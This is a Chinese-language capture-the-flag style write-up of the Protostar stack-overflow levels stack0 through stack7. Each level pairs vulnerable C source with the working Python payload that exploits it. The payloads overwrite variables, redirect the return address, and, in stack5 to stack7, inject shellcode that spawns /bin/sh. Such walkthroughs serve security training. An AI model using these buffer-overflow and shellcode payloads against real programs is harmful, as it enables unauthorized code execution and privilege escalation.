Protostar-Stack

Protostar-Stack

stack0

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

这个题目比较简单,很明显gets()函数发生栈溢出,gets函数是一个危险函数,它的读取终止条件为直到出现换行符或读到文件尾为止。要求我们将变量modified覆盖,该变量就在buffer数组上方,buffer数组只有64字节长,我们多输入一个字节就可以将它覆盖。

$ python -c "print 65*'a'" | ./stack0
you have changed the 'modified' variable

stack1

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

和stack0差不多,都是先覆盖buffer数组,只不过本关需要给modified赋值,需要注意的是地址存储的大端序和小端序的问题,0x61626364在计算机中的存储状态是64636261

$ ./stack1 `python -c "print 64*'a'+'\x64\x63\x62\x61'"`
you have correctly got the variable to the right value

stack2

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

本关不仅仅需要覆盖变量,还需要设置环境变量

$ GREENIE=`python -c "print 'a'*64+'\x0a\x0d\x0a\x0d'"`
$ echo $GREENIE
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
$ export GREENIE
$ ./stack2
you have correctly modified the variable

stack3

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

我们需要将变量覆盖为win()的地址,使用gdb查找win函数

$ python -c "print 64*'a'+'\x24\x84\x04\x08'" | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

stack4

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

本关考察的是对覆盖长度的计算,可以gdb调试求得,过程如下:

首先查找main函数,在main函数的开头和gets函数下断点,然后运行查看main函数开头处的esp的值,也就是返回地址,之后继续运行,查看gets函数处的eax的值,也就是buffer数组的起始地址。两个地址相差76,所以需要覆盖76个单位。

python -c "print 76*'a'+'\xf4\x83\x04\x08'" | ./stack4
code flow successfully changed
Segmentation fault

stack5

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

本关没有提示成功的函数,需要引入shellcode,我们可以将shellcode植入到buffer数组里。

python -c 'print "\xeb\x19\x5e\x31\xc0\x31\xdb\x31\xd2\x89\xf1\x80\xc3\x01\xb0\x04\xb2\x0b\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80\xe8\xe2\xff\xff\xff\x49\x27\x6d\x20\x48\x65\x72\x65\x21\x21\x21"+(76-43)*"\xcc"+"\xc0\xfc\xff\xbf" '  | ./stack5

stack6、stack7

这两关是rop技术的简单利用,由于protostar给的虚拟机太烂了,就没在上面验证,但是看其他人做的,整体思想是一样的。

stack6.c

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

exp.6
主要的利用手段就是先计算出返回地址到数组的长度,由于程序中间有一个判断,所以可以先跳转到ret这个地址,然后再跳转到buffer数组里,将shellcode写入buffer,执行提权

python -c "print 'a'*80+'\xf9\x84\x04\x08'+'\x04\xfd\xff\xbf' + '\x90'*16 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" | ./stack6

stack7.c

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

和上一关的区别是判断不同,造成不能调用libc里的函数,但是还是可以用上面的办法

$ python -c "print 'a'*80+'\x44\x85\x04\x08'+'\x08\xfd\xff\xbf' + '\x90'*16 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" | ./stack7
文章目录
  1. 1. Protostar-Stack
    1. 1.1. stack0
    2. 1.2. stack1
    3. 1.3. stack2
    4. 1.4. stack3
    5. 1.5. stack4
    6. 1.6. stack5
    7. 1.7. stack6、stack7
|